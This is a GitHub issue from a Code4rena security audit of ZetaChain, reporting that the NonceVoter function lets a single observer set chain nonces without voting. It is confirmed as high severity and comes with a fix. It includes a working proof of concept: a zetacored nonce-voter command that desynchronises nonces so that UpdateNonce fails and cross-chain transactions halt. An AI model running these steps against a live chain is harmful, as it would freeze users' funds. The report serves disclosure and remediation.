Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Broken NonceVoter Allows Observer to Halt the Chain #547

Open
c4-bot-6 opened this issue Dec 18, 2023 · 6 comments
Open

Broken NonceVoter Allows Observer to Halt the Chain #547

c4-bot-6 opened this issue Dec 18, 2023 · 6 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working H-01 primary issue Highest quality submission among a set of duplicates satisfactory satisfies C4 submission criteria; eligible for awards selected for report This submission will be included/highlighted in the audit report sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality

Comments

@c4-bot-6
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/x/crosschain/keeper/keeper_chain_nonces.go#L106-L147

Vulnerability details

Impact

As it is, NonceVoter does not count votes or perform any similar operations. A single observer can use it to change chain nonces. Although there is a comment pointing this function is deprecated, it critically influences the system with its broken implementation. Arbitrarily changing nonces for the connected chains can be used to completely break the functioning of the chain and cause loss of funds.

Proof of Concept

This function is restricted to validator observers (k.zetaObserverKeeper.IsAuthorized(ctx, msg.Creator, chain)):

func (k msgServer) NonceVoter(goCtx context.Context, msg *types.MsgNonceVoter) (*types.MsgNonceVoterResponse, error) {
	ctx := sdk.UnwrapSDKContext(goCtx)
	chain := k.zetaObserverKeeper.GetParams(ctx).GetChainFromChainID(msg.ChainId)
	if chain == nil {
		return nil, observertypes.ErrSupportedChains
	}

	if ok := k.zetaObserverKeeper.IsAuthorized(ctx, msg.Creator, chain); !ok {
		return nil, observertypes.ErrNotAuthorizedPolicy
	}
	// ... SNIP ...

After this check, the entire voting logic is essentially ignored, with a relevant part only drafted and commented, and the chain nonce is simply set:

	k.SetChainNonces(ctx, chainNonce)
	return &types.MsgNonceVoterResponse{}, nil

This can be easily tested inside one of the hosts in the smoke-tests:

# cd into repos/node
$ make start-smoketest
$ docker exec -it zetacore0 bash
# Inside zetacore0
# The operator key may be acquired with the command `zetacored keys list`
$ zetacored tx crosschain nonce-voter 18444 1337 --from ${operator_key} --fees "300azeta"
# Confirm the prompt with "y"
$ zetacored q crosschain list-chain-nonces
# OUTPUT:
ChainNonces:
- chain_id: "18444"
  creator: ""
  finalizedHeight: "57"
  index: btc_regtest
  nonce: "1337" # <--- Chain nonce
  signers:
  - zeta1t4n5yj0u3wjkjwum5exhgh5834gnylgs3apmw5
- chain_id: "1337"
  creator: ""
  finalizedHeight: "57"
  index: goerli_localnet
  nonce: "0"
  signers: []
- chain_id: "101"
  creator: ""
  finalizedHeight: "57"
  index: zeta_mainnet
  nonce: "0"
  signers: []
pagination:
  next_key: null
  total: "0"

After the above commands, you can also use the command zetacored q crosschain list-chain-nonces inside zetacored1 to check the 1337 nonce has been set.

p.NonceHigh != int64(nonce.Nonce)

One simple way to halt critical operations of the chain and cause funds to be stuck is to make the function UpdateNonce in cctx_utils.go fail. Luckily, there is a check that causes this function to fail and return an error, and all we need to do is to change the chain nonce:

	// #nosec G701 always in range
	if p.NonceHigh != int64(nonce.Nonce) {
		return cosmoserrors.Wrap(types.ErrNonceMismatch, fmt.Sprintf("chain_id %d, high nonce %d, current nonce %d", receiveChainID, p.NonceHigh, nonce.Nonce))
	}

All a faulty or compromised observer needs to do is to use NonceVoter to desyncrhonise the nonces for each chain, and this error will be consistently returned by UpdateNonce for all chains.

These are critical functions that depend on UpdateNonce:

Essentially, transactions will be halted and the funds stuck.

Tools Used

Manual: code editor, docker.

Recommended Mitigation Steps

Implement the correct voting logic or remove this message server's function from the code. In the codebase, it seems there is already another design choice for setting chain nonces that does not depend on this function, so the best mitigation is probably to remove this function altogether.

Assessed type

Access Control

@c4-bot-6 c4-bot-6 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Dec 18, 2023
c4-bot-7 added a commit that referenced this issue Dec 18, 2023
@c4-pre-sort
Copy link

DadeKuma marked the issue as duplicate of #216

@c4-pre-sort
Copy link

DadeKuma marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Dec 21, 2023
@c4-judge
Copy link

c4-judge commented Jan 7, 2024

0xean marked the issue as selected for report

@c4-judge c4-judge reopened this Jan 7, 2024
@c4-judge c4-judge added primary issue Highest quality submission among a set of duplicates selected for report This submission will be included/highlighted in the audit report labels Jan 7, 2024
@c4-judge
Copy link

c4-judge commented Jan 7, 2024

0xean marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 7, 2024
@0xean
Copy link

0xean commented Jan 8, 2024

sponsor already reviewed, see #216

@c4-sponsor c4-sponsor added the sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") label Jan 9, 2024
@c4-sponsor
Copy link

lumtis (sponsor) confirmed

@C4-Staff C4-Staff added the H-01 label Jan 23, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working H-01 primary issue Highest quality submission among a set of duplicates satisfactory satisfies C4 submission criteria; eligible for awards selected for report This submission will be included/highlighted in the audit report sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

6 participants